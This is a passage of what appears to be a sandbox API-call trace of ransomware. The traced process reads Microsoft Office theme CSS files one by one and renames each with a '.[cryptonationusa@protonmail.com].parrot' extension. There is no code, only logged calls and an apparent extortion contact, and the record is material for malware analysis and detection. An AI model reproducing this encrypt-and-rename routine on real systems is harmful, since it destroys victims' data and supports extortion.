SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.200] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme28.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme28.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0175.206] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0175.206] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0175.208] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.209] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1eb4a, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1eb4a, lpOverlapped=0x0) returned 1 [0175.215] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.219] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme29.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME29.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme29.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0175.225] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0175.225] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0175.227] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.227] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d522, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1d522, lpOverlapped=0x0) returned 1 [0175.232] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.237] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme30.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME30.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme30.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0175.245] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0175.245] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0175.246] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.246] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d652, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1d652, lpOverlapped=0x0) returned 1 [0175.252] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.257] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme31.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME31.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme31.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0175.263] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0175.263] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0175.264] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.264] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1eb20, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1eb20, lpOverlapped=0x0) returned 1 [0175.270] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.274] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme32.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME32.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme32.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0175.280] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0175.281] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0175.282] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.282] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1dcb0, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1dcb0, lpOverlapped=0x0) returned 1 [0175.289] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.293] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme33.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME33.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme33.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0175.300] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0175.300] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0175.301] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.302] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d124, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1d124, lpOverlapped=0x0) returned 1 [0175.309] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.313] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme34.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME34.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme34.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0175.355] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0175.355] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0175.381] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.381] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x202f0, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x202f0, lpOverlapped=0x0) returned 1 [0175.391] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.394] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme35.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME35.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme35.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0175.401] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0175.401] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0175.404] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.404] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e12c, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e12c, lpOverlapped=0x0) returned 1 [0175.411] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.415] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme36.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME36.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme36.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0175.422] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0175.422] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0175.424] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.424] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x205bc, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x205bc, lpOverlapped=0x0) returned 1 [0175.436] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.438] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme37.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME37.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme37.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0175.444] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0175.444] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0175.449] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.449] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f07c, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1f07c, lpOverlapped=0x0) returned 1 [0175.456] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.460] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme38.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME38.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme38.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0175.467] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0175.467] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0175.484] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.484] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e44c, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e44c, lpOverlapped=0x0) returned 1 [0175.518] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.522] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme39.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME39.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme39.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0175.527] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0175.527] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0175.551] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.551] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1eb4a, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1eb4a, lpOverlapped=0x0) returned 1 [0175.571] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.576] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme40.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME40.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme40.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0175.582] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0175.582] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0175.583] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.583] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e958, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e958, lpOverlapped=0x0) returned 1 [0175.616] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.619] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme41.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme41.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0175.626] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0175.626] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0175.627] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.628] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d920, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1d920, lpOverlapped=0x0) returned 1 [0175.633] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.637] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme42.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme42.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0175.712] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0175.713] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0175.715] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.715] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e714, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e714, lpOverlapped=0x0) returned 1 [0175.721] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.726] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme43.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME43.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme43.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0175.734] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0175.734] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0175.749] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.750] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ecfc, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1ecfc, lpOverlapped=0x0) returned 1 [0175.775] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.779] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme44.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme44.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0175.785] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0175.785] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0175.787] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.787] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e6a6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e6a6, lpOverlapped=0x0) returned 1 [0175.806] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.811] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme45.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME45.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme45.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0175.817] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0175.817] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0175.818] SetFilePointerEx (in: 